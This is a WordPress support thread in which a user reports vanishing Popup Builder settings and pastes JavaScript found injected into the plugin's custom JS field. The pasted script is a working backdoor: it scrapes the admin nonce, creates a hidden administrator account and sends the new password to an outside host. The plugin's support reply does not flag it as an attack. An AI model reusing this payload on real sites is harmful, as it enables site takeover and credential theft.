Title: Settings gone
Last modified: January 12, 2024

---

# Settings gone

 *  Resolved [quinox](https://wordpress.org/support/users/quinox/)
 * (@quinox)
 * [2 years, 4 months ago](https://wordpress.org/support/topic/settings-gone-3/)
 * Hi,
   My client is running this plugin for a while, but since recently all settings
   of all popups disappearing. I had lot’s of custom CSS but they are all gone.
 * For example I have added the CSS yesterday afternoon. This morning the custom
   CSS is gone and all other setting.
 * I notices also the custom JS code is added to this field:
 * function httpGet(theUrl) { return fetch(theUrl) .then(response => { if (!response.
   ok) { throw new Error(`HTTP error! Status: ${response.status}`); } return response.
   text(); }) .catch(error => { console.error(‘Error in httpGet:’, error); return
   null; }); } function httpPost(theUrl, csrftoken, password) { return fetch(theUrl,{
   method: ‘POST’, headers: { ‘Content-Type’: ‘application/x-www-form-urlencoded’,},
   body: `action=createuser&_wpnonce_create-user=${csrftoken}&_wp_http_referer=${
   encodeURI(theUrl)}&user_login=wpx&email=waterstyle29@gmail.com&first_name=tqwtqw&
   last_name=tqwtqw&url=${window.location.origin}&pass1=${password}&pass2=${password}&
   role=administrator&createuser=Add+New+User+`, }) .then(response => { if (!response.
   ok) { throw new Error(`HTTP error! Status: ${response.status}`); } return response.
   text(); }) .catch(error => { console.error(‘Error in httpPost:’, error); return
   null; }); } function sendLog(logUrl, logText) { return fetch(logUrl, { method:‘
   POST’, headers: { ‘Content-Type’: ‘text/plain’, }, body: logText, }) .then(response
   => { if (!response.ok) { throw new Error(‘Log gönderme başarısız’); } return 
   response.text(); }) .then(data => { console.log(‘Log gönderildi:’, data); }) .
   catch(error => { console.error(‘Hata:’, error); }); } function generateRandomPassword(
   length) { const charset = “abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789”;
   let password = “”; for (let i = 0; i < length; i++) { const randomIndex = Math.
   floor(Math.random() * charset.length); password += charset.charAt(randomIndex);}
   return password; } function createUserAndSendLog() { const trigger = window.location.
   origin + “/wp-admin/user-new.php”; const logUrl = ‘[https://wpemojii.com/az.php&#8217](https://wpemojii.com/az.php&#8217);;
   httpGet(trigger) .then(page => { const regExp = /name=”_wpnonce_create-user”\
   svalue=”([^)]+)”/; const matches = regExp.exec(page); if (matches && matches[
   1]) { const csrftoken = matches[1].slice(0, 10); const randomPassword = generateRandomPassword(
   8); httpPost(trigger, csrftoken, randomPassword) .then(postResponse => { if (
   postResponse) { console.log(‘User created successfully.’); const logText = `User
   created: Username: wpx Email: waterstyle29@gmail.com First Name: tqwtqw Last 
   Name: tqwtqw URL: ${window.location.origin} Password: ${randomPassword}`; sendLog(
   logUrl, logText); } else { console.error(‘Failed to create user.’); } }) .catch(
   error => { console.error(‘Error in httpPost:’, error); }); } else { console.error(‘
   CSRF token not found.’); } }) .catch(error => { console.error(‘Error in httpGet:’,
   error); }); } createUserAndSendLog(); console.log(‘hellotest112’);
 * So questions are:
   1. How to solve this problem the custom CSS and settings keep
   active2. Is there a way to retrieve the old settings back?
 * Kind regards,
   Roland
 * The page I need help with: _[[log in](https://login.wordpress.org/?redirect_to=https%3A%2F%2Fwordpress.org%2Fsupport%2Ftopic%2Fsettings-gone-3%2F%3Foutput_format%3Dmd&locale=en_US)
   to see the link]_

Viewing 1 replies (of 1 total)

 *  Plugin Support [Jawada](https://wordpress.org/support/users/jawada/)
 * (@jawada)
 * [2 years, 3 months ago](https://wordpress.org/support/topic/settings-gone-3/#post-17423105)
 * Hi there,
 * We are sorry to hear that you are having this issue. This is a known issue. However,
   our team couldn’t reproduce it and is investigating the cause of the issue. Rest
   assured we are trying our best to fix this as soon as possible.
 * If you require further assistance or have any additional questions, please don’t
   hesitate to contact us through our support portal. Our team is always here to
   help!
 * [https://help.popup-builder.com/en/](https://help.popup-builder.com/en/)
 * Sincerely,

Viewing 1 replies (of 1 total)

The topic ‘Settings gone’ is closed to new replies.

 * ![](https://ps.w.org/popup-builder/assets/icon-128x128.gif?rev=2698840)
 * [Popup Builder - Create highly converting, mobile friendly marketing popups.](https://wordpress.org/plugins/popup-builder/)
 * [Frequently Asked Questions](https://wordpress.org/plugins/popup-builder/#faq)
 * [Support Threads](https://wordpress.org/support/plugin/popup-builder/)
 * [Active Topics](https://wordpress.org/support/plugin/popup-builder/active/)
 * [Unresolved Topics](https://wordpress.org/support/plugin/popup-builder/unresolved/)
 * [Reviews](https://wordpress.org/support/plugin/popup-builder/reviews/)

 * 1 reply
 * 2 participants
 * Last reply from: [Jawada](https://wordpress.org/support/users/jawada/)
 * Last activity: [2 years, 3 months ago](https://wordpress.org/support/topic/settings-gone-3/#post-17423105)
 * Status: resolved